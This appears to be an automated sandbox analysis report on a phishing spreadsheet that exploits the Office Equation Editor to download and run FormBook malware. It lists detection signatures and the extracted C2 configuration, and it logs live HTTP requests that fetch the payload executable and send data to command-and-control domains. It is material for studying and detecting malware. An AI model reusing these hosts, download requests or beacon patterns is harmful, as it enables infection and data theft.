Windows Analysis Report REMITTANCE ADVICE.xlsx

Overview

General Information

Sample Name: REMITTANCE ADVICE.xlsx
Analysis ID: 528736
MD5: 2caab2292b282e6a5dea1cf78f84924a
SHA1: 86f37c31091b15cca135490a84eb52027bb1a4df
SHA256: 4c84124c87cd46ce58a7a8208ad1674c4a270793f9a6158e80fd28f96b3cc844
Tags: VelvetSweatshopxlsx
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Sigma detected: Droppers Exploiting CVE-2017-11882
System process connects to network (likely due to code injection or exploit)
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Performs DNS queries to domains with low reputation
Injects a PE file into a foreign processes
Sigma detected: Execution from Suspicious Folder
Office equation editor drops PE file
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Drops PE files to the user root directory
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Potential document exploit detected (performs DNS queries)
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Checks if the current process is being debugged
Drops PE files to the user directory
Dropped file seen in connection with other malware
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.ff4cu6twc.xyz/m07f/"], "decoy": ["khitthit.club", "kczu.net", "caylalamar.com", "iixiazai.com", "nickatwoodrealestate.com", "006664.com", "strimsbdltd.com", "mykyhouse.com", "flyestkicks.com", "campingwithoutcanvas.com", "sarishamisen.com", "retrorecycling.com", "zw4azsjb3cuj.biz", "lokasennaservices.com", "charleswagner.xyz", "smmbazar.net", "rebornmkt.com", "clicktoreach.com", "alendigital.xyz", "carehrc.com", "locationdevice.online", "homevoru.com", "electrahealth.clinic", "punto-linea-espacio.com", "yhxt13800.com", "pancakeshares.com", "artdecooutdoor.com", "phg-formation.com", "businessagilitysessions.com", "procofun.com", "thekatz.group", "casepoo.com", "tokofebri.store", "crippledom.com", "online-shrine-ltd.com", "jesbon.com", "ligoom.com", "odonofally.quest", "tender.guru", "payments-gate-325r.xyz", "bfcmtld.com", "scoocs.info", "welderstexas.com", "eastendfinances.com", "bohoglamburlesque.com", "naijafame.net", "digitallghtning.com", "refreshpor.xyz", "luly-boo.com", "enchantedroses-shop.com", "victorrialand.com", "kenzivenum.com", "protokolavukatlik.com", "berrymojito.com", "empireexteriorservices.com", "pushaoeel-kouhu-bunan7266.com", "travellerbugs.com", "allcources.com", "jaszicurls.com", "rem-youth.com", "strawberryroom-15.com", "paramusinsurancebroker.com", "jhtz001.com", "promtgloan.com"]}
Multi AV Scanner detection for submitted file
Source: REMITTANCE ADVICE.xlsx Virustotal: Detection: 35% Perma Link
Source: REMITTANCE ADVICE.xlsx ReversingLabs: Detection: 43%
Yara detected FormBook
Source: Yara match File source: 4.2.vbc.exe.510000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.510000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://192.210.173.90/70007/vbc.exe Avira URL Cloud: Label: malware
Source: www.ff4cu6twc.xyz/m07f/ Avira URL Cloud: Label: phishing
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\nsvE542.tmp\otav.dll ReversingLabs: Detection: 40%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\nsvE542.tmp\otav.dll Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 7.2.explorer.exe.2ca796c.7.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 5.2.vbc.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 4.2.vbc.exe.510000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.0.vbc.exe.400000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.0.vbc.exe.400000.0.unpack Avira: Label: TR/Patched.Ren.Gen2
Source: 5.0.vbc.exe.400000.3.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 7.2.explorer.exe.41b680.0.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 5.0.vbc.exe.400000.2.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.1.vbc.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: vbc.exe, vbc.exe, 00000005.00000002.526224259.00000000008A0000.00000040.00000001.sdmp, vbc.exe, 00000005.00000003.464564394.0000000000430000.00000004.00000001.sdmp, vbc.exe, 00000005.00000003.465728410.0000000000590000.00000004.00000001.sdmp, vbc.exe, 00000005.00000002.525516222.0000000000720000.00000040.00000001.sdmp, explorer.exe, explorer.exe, 00000007.00000002.670738213.0000000002920000.00000040.00000001.sdmp
Source: Binary string: explorer.pdb source: vbc.exe, 00000005.00000002.527175937.0000000002980000.00000040.00020000.sdmp, vbc.exe, 00000005.00000003.523078790.00000000023C0000.00000004.00000001.sdmp, vbc.exe, 00000005.00000003.523696493.00000000026A0000.00000004.00000001.sdmp
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405250 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 4_2_00405250
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C22 FindFirstFileA,FindClose, 4_2_00405C22
Source: C:\Users\Public\vbc.exe Code function: 4_2_00402630 FindFirstFileA, 4_2_00402630

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: www.promtgloan.com
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop ebx 5_2_00406AB8
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop edi 5_2_0041566F
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop edi 5_1_0041566F
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop ebx 5_1_00406AB8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 4x nop then pop edi 7_2_0009566F
Source: C:\Windows\SysWOW64\explorer.exe Code function: 4x nop then pop ebx 7_2_00086AB8
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.210.173.90:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.210.173.90:80

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49168 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49168 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49168 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49171 -> 156.234.44.48:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49171 -> 156.234.44.48:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49171 -> 156.234.44.48:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.yhxt13800.com
Source: C:\Windows\explorer.exe Network Connect: 154.205.233.189 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 156.234.44.48 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.ff4cu6twc.xyz
Source: C:\Windows\explorer.exe Network Connect: 23.225.139.107 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.promtgloan.com
Source: C:\Windows\explorer.exe Domain query: www.clicktoreach.com
Performs DNS queries to domains with low reputation
Source: C:\Windows\explorer.exe DNS query: www.ff4cu6twc.xyz
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.ff4cu6twc.xyz/m07f/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: IKGUL-26484US IKGUL-26484US
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /m07f/?8p=5jRPexjhYVA&8pM=fckM7dU8XdB/CBRKAli8IWZTeVSsZcSnfT9NsehECm7QI2Avboj8F2o4ZiYCfg8g2yKAcw== HTTP/1.1Host: www.promtgloan.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m07f/?8pM=dna2QeGax28GSJkNz7Uka6j7mpWTPT6ewM6loPSgIzIWFgZfz42ON2JlykoAty+SKeMdPQ==&8p=5jRPexjhYVA HTTP/1.1Host: www.yhxt13800.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m07f/?8p=5jRPexjhYVA&8pM=igd9ZaB/0LuNZ3khfd1rv5ythTuTDfiv5fbgroetehOkX6jie/kGfA2Y9msKDFCRQxq0nA== HTTP/1.1Host: www.clicktoreach.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 23.225.139.107 23.225.139.107
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 25 Nov 2021 17:12:13 GMTServer: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12Last-Modified: Wed, 24 Nov 2021 09:28:50 GMTETag: "4a7bd-5d1857c59b117"Accept-Ranges: bytesContent-Length: 305085Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e5 75 4a a8 a1 14 24 fb a1 14 24 fb a1 14 24 fb 2f 1c 7b fb a3 14 24 fb a1 14 25 fb 3a 14 24 fb 22 1c 79 fb b0 14 24 fb f5 37 14 fb a8 14 24 fb 66 12 22 fb a0 14 24 fb 52 69 63 68 a1 14 24 fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cd cd ef 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 84 02 00 00 04 00 00 e3 30 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 03 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 74 00 00 b4 00 00 00 00 70 03 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 5b 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c 12 00 00 00 70 00 00 00 14 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 5c 02 00 00 90 00 00 00 04 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 00 09 00 00 00 70 03 00 00 0a 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /70007/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.210.173.90Connection: Keep-Alive
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 25 Nov 2021 17:13:29 GMTContent-Type: text/htmlContent-Length: 275ETag: "6192576c-113"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>
Source: vbc.exe, 00000004.00000002.466454862.0000000002C60000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.470431447.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: explorer.exe, 00000006.00000000.512027103.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: vbc.exe, 00000004.00000002.466454862.0000000002C60000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.470431447.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: vbc.exe, 00000004.00000002.466454862.0000000002C60000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.470431447.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000006.00000000.487883890.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.467436694.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.480003695.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://java.sun.com
Source: vbc.exe, 00000004.00000002.466643244.0000000002E47000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.489358652.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: vbc.exe, 00000004.00000002.466643244.0000000002E47000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.489358652.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, vbc.exe, 00000004.00000002.464908482.0000000000409000.00000004.00020000.sdmp, vbc.exe, 00000004.00000000.456767218.0000000000409000.00000008.00020000.sdmp, vbc.exe, 00000005.00000000.461220666.0000000000409000.00000008.00020000.sdmp String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: vbc.exe, 00000004.00000002.464908482.0000000000409000.00000004.00020000.sdmp, vbc.exe, 00000004.00000000.456767218.0000000000409000.00000008.00020000.sdmp, vbc.exe, 00000005.00000000.461220666.0000000000409000.00000008.00020000.sdmp String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe, 00000004.00000002.465747026.00000000022C0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.480237988.0000000001BE0000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000006.00000000.490467352.0000000003E50000.00000002.00020000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: vbc.exe, 00000004.00000002.466643244.0000000002E47000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.489358652.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000006.00000000.512027103.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000006.00000000.512027103.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: vbc.exe, 00000004.00000002.466643244.0000000002E47000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.489358652.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: vbc.exe, 00000004.00000002.465747026.00000000022C0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.480237988.0000000001BE0000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000006.00000000.487883890.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.467436694.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.480003695.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000006.00000000.512027103.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: vbc.exe, 00000004.00000002.466454862.0000000002C60000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.470431447.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: vbc.exe, 00000004.00000002.466643244.0000000002E47000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.489358652.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000006.00000000.512027103.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: vbc.exe, 00000004.00000002.466454862.0000000002C60000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.470431447.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000006.00000000.510856156.000000000447A000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.484145859.0000000004513000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.472911483.0000000004513000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.472698287.000000000447A000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.493785914.0000000008417000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.483993743.000000000447A000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.486816221.00000000083D7000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.510967068.0000000004513000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000006.00000000.510856156.000000000447A000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.472698287.000000000447A000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.493785914.0000000008417000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.483993743.000000000447A000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.486816221.00000000083D7000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000006.00000000.470431447.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000006.00000000.487883890.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.467436694.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.480003695.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000007.00000002.671238367.0000000002E22000.00000004.00020000.sdmp String found in binary or memory: https://www.clicktoreach.com/m07f/?8p=5jRPexjhYVA&8pM=igd9ZaB/0LuNZ3khfd1rv5ythTuTDfiv5fbgroetehOkX6
Source: explorer.exe, 00000006.00000000.487883890.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.467436694.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.480003695.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000006.00000000.487883890.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.467436694.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.480003695.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7441E635.emf Jump to behavior
Source: unknown DNS traffic detected: queries for: www.promtgloan.com
Source: global traffic HTTP traffic detected: GET /70007/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.210.173.90Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /m07f/?8p=5jRPexjhYVA&8pM=fckM7dU8XdB/CBRKAli8IWZTeVSsZcSnfT9NsehECm7QI2Avboj8F2o4ZiYCfg8g2yKAcw== HTTP/1.1Host: www.promtgloan.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m07f/?8pM=dna2QeGax28GSJkNz7Uka6j7mpWTPT6ewM6loPSgIzIWFgZfz42ON2JlykoAty+SKeMdPQ==&8p=5jRPexjhYVA HTTP/1.1Host: www.yhxt13800.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /m07f/?8p=5jRPexjhYVA&8pM=igd9ZaB/0LuNZ3khfd1rv5ythTuTDfiv5fbgroetehOkX6jie/kGfA2Y9msKDFCRQxq0nA== HTTP/1.1Host: www.clicktoreach.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboard
